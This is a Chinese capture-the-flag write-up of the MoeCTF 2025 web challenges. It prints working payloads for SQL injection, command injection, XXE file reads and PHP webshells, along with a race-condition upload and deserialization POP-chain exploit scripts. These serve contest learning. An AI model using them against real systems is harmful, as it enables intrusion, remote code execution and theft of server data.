2025MoeCTF Web 部分wp

00 Web入门指北

下载moectf2025__web_signin.txt

文件内容: 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F12,去控制台输入那一堆符号,可得flag

01 第一章 神秘的手镯

启动在线环境,进入网站,F12,查看源代码

      <div class="flag">moectf{f_i2_1s_Your_g00d_fri3nd!!}</div>

我们也可以选择文字,把文字拖到输入框。

01 第一章 神秘的手镯_revenge

image-20251014140600381

备份的wanyanzhou.txt,我们可以访问/wanyanzhou.txt.bak,然后自动下载wanyanzhou.txt.bak

然后依然可以选择文字,拖到输入框。

发现要输入五百遍,此时想到抓包爆破发送请求。

抓包发现:

image-20251014215508584

发送的POST请求,并且是json格式。当然我们不需要管这个,直接Null PayloadIntruder发送即可。

image-20251014215905687

02 第二章 初识金曦玄轨

F12,元素中有hint:

前往/golden_trail看看

往url后面写上这个路径,F12,网络,看http标头

x-jinxi-secret

moectf{0bs3rv3_Th3_Gold3n_traiL}

03 第三章 问剑石!篡天改命!

这个卡了我很久

方法一:浏览器F12,网络,第一个,阻止访问URL,点测试天赋,再看网络,发现新的请求

编辑并重新发送,可以看到第一页Query的表,Key、Value

点body(http请求体),改manifestation=flowing_azure_clouds,取消阻止,再点send,可以看到新请求中的响应里出现”flag”: “moectf{G3t_Po5t-tR@nSmiS51on_Is-a_G0Od_M3THoD!1l24d}”,

方法二:burpsuite抓包,打开拦截,点测试天赋,可以看到请求被拦截

修改level=S,manifestation=flowing_azure_clouds,放行就好

04 第四章 金曦破禁与七绝傀儡阵

七绝傀儡阵,七个知识点

第一关:

GET方法直接在url后面带?key=xdsec就可以了

磐石傀儡核心光芒一闪,厚重的石甲缓缓移开!

获得玉简碎片: bW9lY3Rme0Mw(复制粘贴记下来,别像我一样最后漏一个字母。。)那很命苦了

第二关:

image-20250824000010345

POST方法,发现自己还是不太会

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fetch('http://靶机地址/目标路径', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'declaration=织云阁=第一' // 玉板铭文参数
})
.then(response => response.text())

这是极其萌新的时候写的了,不要用这个方法发送POST请求。

再返回网络看请求

得到内容:

image-20250824003219877

href对应的内容即为下一关的路径

这个方法发送POST请求还是太吃操作了嗷,我们可以:

1.直接hackbar快捷发送

2.用burpsuite等抓包工具直接改,具体的可以上网搜。

第三关:

image-20250824003351172

本地访问:X-Forwarded-For:127.0.0.1

抓包,在http请求头里加上这个就行(别忘了留两行空)

image-20250824003727610

第四关:

image-20250824003909356

browser:浏览器

在请求头中加User_Agent:moe browser

让代理变成moe浏览器(因为浏览器是把html文件翻译成网页的代理器,可以这样理解)

image-20250824004942380

第五关:

image-20250824005014695

指定user就是改cookie,因为cookie是身份的象征!

cookie:user=xt

image-20250824005227656

第六关:

image-20250824005350828

指定从哪来,就是改请求头中的Referer(你是从哪跳转过来的)

image-20250824005559405

第七关:

image-20250824005734053

PUT请求:

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fetch('/void_rebirth', {  
method: 'PUT',
headers: {
'Content-Type': 'text/plain; charset=UTF-8'
},
body: '新生!'
})
.then(response => response.text())

再次说明,如果要发送PUT请求不要用这种控制台直接传入的方法,慢而且复杂。

方法依然是用hackbar或者burpsuite,hackbar可以修改成看原格式。

image-20250824010635026

玄机秘钥:

拼接,使用base64解码,可得:moectf{C0n<ò47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!

05 第五章 打上门来!

很明显是目录穿梭这种技法

./是往里走,../是往外走

连续输入两次../发现了一个叫flag的文件,那他是不是flag呢,好难猜。image-20250824011309065

06 第六章 藏经禁制?玄机初探!

image-20250824012348014

一个SQL注入的引入,这个万能账密屡试不爽

具体原理是这种账密都是一串SQL命令,

select * from user where username=' '=' ' and password=' '=' '

很明显,用双等号可以让命令恒成立,也就是永远输出True

07 第七章 灵蛛探穴与阴阳双生符

有这样一个文件,它是一个存放在网站根目录下的纯文本文件,用于告知搜索引擎爬虫哪些页面可以抓取,哪些页面不应被抓取。它是网站与搜索引擎之间的 “协议”,帮助网站管理爬虫的访问行为,保护隐私内容、节省服务器资源或引导爬虫优先抓取重要页面。

根据提示可知这是robots文件,打开看到image-20250824013742170

貌似是不准看flag.php文件,但是我们还是点开看看image-20250824013822481

不难看出,这是一个PHP 弱类型比较的题目,既要满足a和b的参数值不同,还要求a和b的哈希值相同。

我们可以构造特殊字符串,使它们的 MD5 都以 0e 开头:

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QNKCDZO,240610708
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md5("QNKCDZO")   = "0e830400451993494058024219903391"
md5("240610708") = "0e462097431906509019562988736854"

// 比较结果
"0e830400451993494058024219903391" == "0e462097431906509019562988736854" // true

使用GET请求,写这个即可:

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?a=QNKCDZO&b=240610708

image-20250824014526245

08 第八章 天衍真言,星图显圣

SQL注入,真的卡了很久很久

image-20250824014628444

像上次一样,写了双等号但是只出现welcome admin,Flag呢??

让我们再想想上次的SQL命令:

select * from user where username=' '=' ' and password=' '=' '
SQL注入,顾名思义是往输入框里写命令,让整个SQL命令执行后获得意外的结果。

那如果我们在user栏写-- ,在linux中-- 是注释,密码就不用管了,但是我们需要用户名,

他都已经写Welcome admin了(

那最后SQL命令可以变成:

select * from user where username='admin' ........

再看提示:

image-20250824015801927

UNION?

Union注入:我们可以用Union Select操作获取数据,但是前提是我们必须知道原始的SQL查询查询了几列数据(数据大部分都是表格的形式,后面我们还要加数据)

我们可以先确定列数:

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admin' order by 2 -- 
admin' order by 3 --
...

以此类推,但是操作发现到3就不行了,也就是说只有两列。

现在可以使用union select联合注入:

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admin' union select database(),2 --  

尝试掏出数据库1的名字,但是仍然是Welcome admin

我们把admin改成1,结果得到:

image-20250824021011696

下一步爆表名:

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1' union select  group_concat(table_name), 2 from information_schema.tables where table_schema=database() -- 

得到:

image-20250824021154062

下一步爆列名:

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1' union select  group_concat(column_name), 2 from information_schema.columns where table_name='flag' -- 

得到:image-20250824021320304

最后,获取flag的value:

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1' union select  value, 2 from flag -- 

得到:image-20250824021429979

太不容易了我去,但是其实打到现在应该知道flag值就叫value,可以省很多步骤直接拿value

09 第九章 星墟禁制·天机问路

image-20250824021609713

先随便填,看结果:

image-20250824021735166

很明显,网站将输入的内容当作域名进行DNS查询,也就是说也是有命令的,我们仍然可以注入某些神秘命令扰乱。

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; env

没错,平平无奇,但是当时烧了我很久。

但是知道环境变量这个东西,就差不多了。

;这个分号,就是分隔命令用的。

一般输入一个env,就可以直接获得环境变量。

image-20250824022347400

一般的flag的位置,在文件里,在env里,请求头里。

10 第十章 天机符阵

题目故作轻松说flag在flag.txt里,打开页面:image-20250824022549285

再看flag.txt,

image-20250824022712935

我当时没看懂这第十章的神秘难度。

image-20250824022837798

10 第十章 天机符阵_revenge(XXE盲注)

这里不给进flag.txt里了,随意输入:

image-20250824023003225

可以看到输出里面有关键字:XML

XML是PHP的一种文档,需要Expat Parser或者Dom或者SimpleXML来解析。

很明显他用的是DOM,那我们就用DOM的格式写一段:

image-20250824023416057

可见,没有再报错了,那我们得让输出里写出flag啊。

这种我们可以进行xxe攻击(XML External Entity):

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<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

这种!DOCTYPE foo盲注XXE,但是我们用

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<?xml version="1.0"?> //避免兼容性问题
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "php://filter/resource=/flag.txt">
]>
<输出>&xxe;</输出>

定义文档类型定义[DTD(!DOCTYPE data[])]是XXE攻击的灵魂,我们声明根元素是<data>,然后开始DTD定义。

!ENTITY是一个外部实体定义,我们声明xxe是一个可以读取"php://filter/resource=/flag.txt"的实体。

system是一个关键字,他告诉解析器后面的内容是一个外部资源的URI,读取这个文件路径。

fulian师傅的做法更严谨:

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<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data ANY>
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">
]>
<输出>&xxe;</输出>

再base64解码。

有的时候flag里的符号会被转义,所以utf-8可能出不来,所以转换成base64。

11 第十一章 千机变·破妄之眼(revenge版)

image-20250824184459925

该说不说,这moe真的有b格。

image-20251106211344372

我们先写一个mnopq全排列的脚本,生成wordlist.txt。

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import argparse
from itertools import permutations

def gen_perms(s: str):
"""对可能含重复字符的字符串去重后输出全排列"""
seen = set()
for p in permutations(s, len(s)):
w = ''.join(p)
if w not in seen:
seen.add(w)
yield w

def main():
ap = argparse.ArgumentParser(description="Generate all permutations for a Burp wordlist.")
ap.add_argument("-s", "--string", default="mnopq", help="要全排列的字符串")
ap.add_argument("-o", "--output", default="wordlist.txt", help="输出文件名")
args = ap.parse_args()

count = 0
with open(args.output, "w", encoding="utf-8", newline="\n") as f:
for w in gen_perms(args.string):
f.write(w + "\n")
count += 1

print(f"已写入 {count} 行到 {args.output}")

if __name__ == "__main__":
main()

然后放到intruder里爆破,碰撞攻击,然后看到状态码302的跳转页面,看响应头可以知道:

image-20251106234042703

跳转到的页面是/find.php。

进去看到赤裸裸的flag,image-20251106234211611

但是看不到,这时候输入php://filter/convert.base64-encode/resource=./flag.php,将内容进行base64编码,就能看到flag了。

image-20251106234607117

是这样的,如果flag在php脚本中没有回显,我们就看不到。

12 第十二章 玉魄玄关·破妄

image-20250824190202656

页面内容短小精悍,这一串其实叫做:一句话木马

<?php是php的文件头,

@eval()会把括号里的内容当做php代码执行,

$_POST就是获取参数post的值,

['cmd']是获取post里的cmd值,

简单讲,是蚁剑连接密码是cmd。

打开蚁剑,虚拟终端,输入env,最下面就是flag。

当然这个cmd,我们可以用POST方法传入cmd=system('env'),这样也能获取环境变量。

13 第十三章 通幽关·灵纹诡影

image-20250824191932309

这是图片马的题目。

我们看一下规则:

  1. 内存不超过30000字节,大概是29kb以下
  2. 必须包含十六进制校验码:FFD8FF

我们了解到,FFD8FF是jpg文件的文件头,那我们既要传带恶意代码的php文件,又要让文件头是jpg文件的,方法如下:

找一个29KB之内的图片,再写一个含<?php @eval($_POST['a'])的php脚本,在地址栏里输入cmd,再输入:

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copy /b xxxx.jpg + xxx.php xxx.jpg.php

这样我们就拥有了一个有jpg文件头的php脚本,传进去当然是没有问题的,最后用蚁剑连接,终端env结束战斗。

文件名解析特性

  • 某些服务器(尤其是Windows服务器)会忽略文件名中最后一个点之后的内容
  • 因此 shell.php. 会被解析为 shell.php
  • shell.php.jpg 可能被解析为 shell.php(如果服务器配置不当)

所以**.php.**这种也行。

Moe笑传之猜猜爆(代码审计)

image-20250824192834807

这也是一道我痛苦了很久的题目。

二刷:

桀桀桀,果然刷题是有用的。

查看main.js,源代码如下:

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let randomNumber = Math.floor(Math.random()*10000) + 1; // 1-10000
const guesses = document.querySelector('.guesses');
const lastResult = document.querySelector('.lastResult');
const lowOrHi = document.querySelector('.lowOrHi');
const guessBtn = document.getElementById('guessBtn');
const guessField = document.getElementById('guessField');

let guessCount = 1;
let resetButton;

function checkGuess() {
let userGuess = Number(guessField.value);
if(guessCount === 1) {
guesses.textContent = '上次猜的数:';
}
guesses.textContent += userGuess + ' ';

if(userGuess === randomNumber) {
lastResult.textContent = '恭喜你!猜对了!';
lastResult.style.backgroundColor = 'green';
lowOrHi.textContent = '';
guessField.disabled = true;
guessBtn.disabled = true;
// 猜对后请求flag
fetch('/flag', {method: 'POST'})
.then(res => res.json())
.then(data => {
document.querySelector('.flagResult').textContent = "FLAG: " + data.flag;
});
setGameOver();
} else {
lastResult.textContent = '!!!游戏结束!!!';
lastResult.style.backgroundColor = 'red';
if(userGuess < randomNumber) {
lowOrHi.textContent = '你刚才猜低了!';
} else if(userGuess > randomNumber) {
lowOrHi.textContent = '你刚才猜高了!';
}
guessField.disabled = true;
guessBtn.disabled = true;
setGameOver();
}

guessCount++;
guessField.value = '';
guessField.focus();
}
guessBtn.addEventListener('click', checkGuess);

function setGameOver() {
resetButton = document.createElement('button');
resetButton.textContent = '开始新游戏';
document.body.appendChild(resetButton);
resetButton.addEventListener('click', resetGame);
}

function resetGame() {
guessCount = 1;
const resetParas = document.querySelectorAll('.resultParas p');
for(let i = 0; i < resetParas.length; i++) {
resetParas[i].textContent = '';
}
resetButton.parentNode.removeChild(resetButton);

guessField.disabled = false;
guessBtn.disabled = false;
guessField.value = '';
guessField.focus();

lastResult.style.backgroundColor = 'white';

randomNumber = Math.floor(Math.random()*10000) + 1; // 1-10000
}

我们直接设置断点(这里要在randomnumber被设定之后,检查相等之前),image-20251014220534485

随便写一个数,点击提交,页面暂停。image-20251014220714670

直接能看到随机数,我们再写userGuess=1007,结束。

image-20251014220814116

14 第十四章 御神关·补天玉碑

image-20250824203426026

这次我们把文件名字改成**.php.jpg**,其余操作和上次一样。

Apache的格式:

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<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^article/([0-9]+)$ article.php?id=$1 [L]
</IfModule>

15 第十五章 归真关·竞时净魔

所谓竞时净魔,就是要抢时间。

image-20250907154946184

看规则,了解到上传后再检测并重命名,也就是说我们是先上传的文件,服务器再重命名。在这个时间空隙里,只要我们访问上传的文件,文件就会执行一次命令。

这就是条件竞争


我们的方法很多,但是所有的方法前面的操作相似。

抓包上传的POST请求,发送到intruder模块,Sniper攻击,选择null payload,无限制次数,变量选择一个空格。

再另开一个网页,访问这个文件,同样抓包GET请求,依然发送到intruder模块攻击。

同时进行爆破,就达成了边上传边访问文件(执行命令)的效果。

那不同的就是我们上传的文件。

1.创建新的一句话木马文件

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<?php
$a='PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+';
$myfile = fopen("shell.php", "w");
fwrite($myfile, base64_decode($a));
fclose($myfile);
?>

我们用这个,PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+是一句话木马的base64编码。

访问它,会创建一个shell.php的文件,文件包含的就是一句话木马。

4675362563dbfe1f2197455fe517a8ec

也是很成功的包含进来了,用蚁剑连接就好了。

不过fulian师傅说,放在/var/www/html/里更保险,这个目录下面是index.php,upload.php之类的,是不可能被删的。

2.直接读取flag

flag大概是放在最开始的目录里,即var的上一级目录。

我们现在在html的下下一级目录,那我们访问flag,需要../../../../flag.txt

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<?php
echo `cat ../../../../flag.txt`
?>

不过我没有成功…

16 第十六章 昆仑星途

题目给了一个附件source.zip,附件里包含index.phpentrypoint.sh,一个打不开的文件,一个ini配置文件。

看到index.php是一个文件包含漏洞,

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<?php
error_reporting(0);
highlight_file(__FILE__);

include($_GET['file'] . ".php");

用GET方法传入file,后面一定会加一个.php的后缀。

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#!/bin/bash
echo $FLAG > /flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 30).txt
unset FLAG
apache2-foreground

我们了解到,

whoamiwho 是在 Unix 和 Linux 系统中用于查询用户信息的命令。

题目要求:”但有条件——三息之内,说出星核真名!”

名字的话,我们可以试试data伪协议,后面直接接linux命令。

payload:

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?file=data://text/plain,<?php system('whoami');?>

空格换成%20,引号换成%27(根本没有WAF

原来写whoami是用来测试能不能命令执行的(还有id),我以为有什么高级用法)

image-20250912000152460

查看源代码,实则只有www-data,.php应该是自动带的后缀。

image-20250912003249631

image-20250912003126350


17 第十七章 星骸迷阵·神念重构

还是Moe好…毕竟也是入坑打的第一个比赛,我真的在这里学到了很多很多东西…这才是新生赛吧,这才是真正入门的反序列化吧。为什么最近打的新生赛都那么难,把我做晕了都…

还是想说,为什么要怕新生用AI梭呢,新生赛重要的不是让大家了解上喜欢上CTF吗…不是因为难才用AI吗,反倒为了反AI把难度加大,最后筛选出的大多是擅用AI的人,对CTF很难长相厮守日久生情吧…

难道不是难度小,让不用AI的也拥有一战之力才好嘛,这才是反AI成功了吧——25.10.14

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<?php
highlight_file(__FILE__);


class A {
public $a;
function __destruct() {
eval($this->a);
}
}

if(isset($_GET['a'])) {
unserialize($_GET['a']);
}

highlight_file(__FILE__)的作用是高亮显示当前文件的源代码。

public $a是在定义一个公共成员变量。

__destruct()是一个析构函数,当一个对象的引用全部被删除或者脚本结束时,函数会被自动调用。

最后if的条件结构,检测存在参数a,并对a进行反序列化,将a变成php对象。

我们现在处在if结构里,有我们完全可控的变量a,这个结构就是我们的Source(源点).

__destruct()中有eval(),可供我们利用,这就是我们的Sink(汇点).

Source-->Sink完整的链,称作POP链(Property-Oriented Programming).

在利用之前,我们需要了解什么是序列化(serialize)和**反序列化(unserialize)**。

序列化与反序列化

序列化可以将php中的数据结构(对象,数组等)转换成一个可以存储或传输的字符串表示形式。

例如:

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class A {
public $name = "CTFer";
private $secret = "secret_info";
}
$obj = new MyClass();
$serialized_string = serialize($obj);
// echo $serialized_string;

输出:O:7:"MyClass":2:{s:4:"name";s:5:"CTFer";s:15:"MyClasssecret";s:11:"secret_info";}

反序列化接受一个序列化后的字符串,将其还原成原始的php数据结构。

如果一个字符串被反序列化成功,他就存在于当前的php上下文中了。当这个对象不再被引用、或者脚本执行结束后,它的__destruct()方法会被自动调用。(类似的可以利用的还有__wakeup()

这是php反序列化漏洞最核心的触发点。

构造Payload

我们需要构造一个A类对象,并让它的公共属性a包含我们需要的代码。

然后我们编写脚本:

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<?php
class A{
public $a;
// 在本地构造Payload时,我们不需要析构函数的内容,
// 只需要类名和属性名正确即可。
}

$payload_obj = new A();
// 设置 a 属性为我们想执行的恶意代码。
$payload_obj->a = "system('ls ../../../');";
// 使用 serialize() 函数生成序列化字符串
$payload = serialize($payload_obj);

echo $payload;
?>

我们得到的结果是:

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O:1:"A":1:{s:1:"a";s:23:"system('ls ../../../');";}
image-20251015151914200
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O:1:"A":1:{s:1:"a";s:28:"system('cat ../../../flag');";}
image-20251015152050738

更简洁的代码:

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<?php
class A {
public $a = "system(\"cat /flag\");";
}
echo urlencode(serialize(new A()));

和题目一起看:

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<?php
highlight_file(__FILE__);


class A {
public $a;
function __destruct() {
eval($this->a);
}
}

if(isset($_GET['a'])) {
unserialize($_GET['a']);
}

18 第十八章 万卷诡阁·功法连环

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<?php
highlight_file(__FILE__);

class PersonA {
private $name;
function __wakeup() {
$name=$this->name;
$name->work();
}
}

class PersonB {
public $name;
function work(){
$name=$this->name;
eval($name);
}

}

if(isset($_GET['person'])) {
unserialize($_GET['person']);
}

PersonA

这次的PersonA类里有一个私有属性$name,还有一个__wakeup()魔术方法,这个方法在对象被反序列化时自动调用

__wakeup()方法,会将$this变量的name属性赋值给name局部变量,再调用name变量的work()方法。

PersonB

PersonB类中定义一个公有属性name,还有一个work()普通方法。

work()方法,会将$this变量的name属性赋值给name局部变量,再用eval执行命令。

怎么构造pop链?

如果反序列化一个PersonA对象,__wakeup()方法就被调用,同时让PersonAname属性是一个PersonB的对象实例,那么PersonBwork()方法也就被调用了,那自然eval()函数就被调用,参数是他自己的name属性。

unserialize(PersonA) -> PersonA::__wakeup() -> $name->work() -> PersonB::work() -> eval($name)

构造Payload

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<?php
class PersonA {
private $name;
// 一个构造函数,在创建PersonA对象时自动调用
function __construct() {
$this->name = new PersonB();
}
}
class PersonB {
public $name="system('ls ../../../');";
}
echo urlencode(serialize(new PersonA()));

最后我是这样写的:

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<?php
class PersonA{
private $name;
function __construct(){
$this->name = new PersonB();
}
}
class PersonB{
public $name = "system('cat ../../../flag');";
}
echo urlencode(serialize(new PersonA()));
?>

虽然确实是一样的(

但好歹是我自己敲出来的()

image-20251016200728788

19 第十九章 星穹真相·补天归源_revenge

直接上revenge吧。

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<?php
highlight_file(__FILE__);

class Person
{
public $name;
public $id;
public $age;
}

class PersonA extends Person
{
public function __destruct()
{
$name = $this->name;
$id = $this->id;
$name->$id($this->age);
}
}

class PersonB extends Person
{
public function __set($key, $value)
{
$this->name = $value;
}

public function __invoke($id)
{
$name = $this->id;
$name->name = $id;
$name->age = $this->name;
}
}

class PersonC extends Person
{
public function check($age)
{
$name=$this->name;
if($age == null)
{
die("Age can't be empty.");
}
else if($name === "system")
{
die("Hacker!");
}
else
{
var_dump($name($age));
}
}

public function __wakeup()
{
$name = $this->id;
$name->age = $this->age;
$name($this);
}
}

if(isset($_GET['person']))
{
$person = unserialize($_GET['person']);
}

先给出POP链,假设我们已经知道怎么做了(等懂了再回来看就知道怎么做了):

unserialize() -> PersonC::__wakeup() -> Person::__invoke() [在PersonB对象上触发] -> PersonA::__destruct() -> PersonC::Check() -> system()

  • __wakeup():当对象被反序列化后自动调用。
  • __invoke():当对象被当做函数调用时自动调用。
  • __destruct():当一个对象被销毁时自动调用。

我们首先看最后的unserialize(),当person参数被反序列化了之后,首先被调用的是被反序列化后自动调用的__wakeup()魔术方法。


那我们看向__wakeup()

image-20251106193959128
  • 第一句:$name被赋值为C类id属性的对应值,

  • 第二句:$name的age属性被赋值为C类age属性的对应值,

    那看到这我们就应该知道,$name得是一个其他类的实例化。

  • 第三句:直接将$name当做函数使用。

我们需要进入下一个流程,此时去找魔术方法,只能找被当做函数调用时自动调用的__invoke()方法,正中第三句下怀。

从而得知,我们exp第一句要写:

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$c = new PersonC();
$c->id = new PersonB();

进入__invoke()

image-20251106194848076
  • 第一句:$name被赋值为B类id属性的对应值,

  • 第二句:$name的name属性被赋值为id变量的对应值,

    到这我们又能看出,$name得是一个其他类的实例化,那肯定是A的实例化了。

    $id是啥,是上个$name($this)里的$this,即为$c

    PersonA->name变为了PersonC类的实例化。

    $name变为了PersonA类的实例化。

  • 第三句:$name的age属性被赋值,

    PersonA->age变为了PersonB->name的值。

exp第二句:

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$b = new PersonB();
$b->id = new PersonA();
$b->name = ???; //这里对应PersonA->age的值

进入__destruct()

image-20251106201109630
  • 第一句:$name被赋值为A类name属性的值,
  • 第二句:$id被赋值为A类id属性的值,
  • 第三句:将$name$id方法当做函数,PersonA->age做参数执行。

那好,首先$name有方法,代表$name必须是类的实例化,对应是什么类,我们需要再分析。

然后$name->$id必须要能被当做函数,还有什么函数忘记了?

**Check()**,C类的check(),然后PersonA->age被当做参数。

exp第三句:

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$a = new PersonA();
$a->name = $c;
$a->id = "check";

我们看向check()

image-20251106202046530

粗略看出这是最后的payload检验环节。

var_dump() 是 PHP 的一个调试输出函数:把变量的类型值/结构原样打印出来(直接输出到页面/标准输出),方便你看清楚变量里到底是什么。

和其它输出函数的区别:

  • echo / print:只把内容当字符串打印,不显示类型结构。
  • print_r():打印结构但更简略,不显示类型/长度那么详细。
  • var_export():以可执行 PHP 表达式的形式导出变量(适合生成配置)。

这里明显是把$name($age)打出来。

第一句:$name被赋值为C类name属性的值,

第二句进入if中,条件是$age != null,也就是说PersonA->age不能为空,而且很明显就是我们要写的命令。

image-20251106202851601

往回看,还有一个$b->name没有赋值,我们需要赋的就是我们的最终命令。

$age外层是$name,可想而知,$name是system之类的执行函数,但是system被ban,我们还可以用file_get_contents()

与之对应的,$b->name必须是文件路径,moe很喜欢把flag直接放环境变量,所以直接找/proc/self/environ

exp第四句:

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$b->name = "/proc/self/environ";
$c->name= "file_get_contents";

合起来(要保证出现变量前有定义,所以适当调整顺序):

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<?php
class PersonA{
public $name;
public $id;
public $age;
}
class PersonB{
public $name;
public $id;
public $age;
}
class PersonC{
public $name;
public $id;
public $age;
}

$c = new PersonC();
$b = new PersonB();
$c->id = $b;
$a = new PersonA();
$b->id = $a;
$b->name = "/proc/self/environ";
$a->name = $c;
$a->id = "check";

$c->name= "file_get_contents";

echo urlencode(serialize($c));
?>

image-20251106210841118

爽!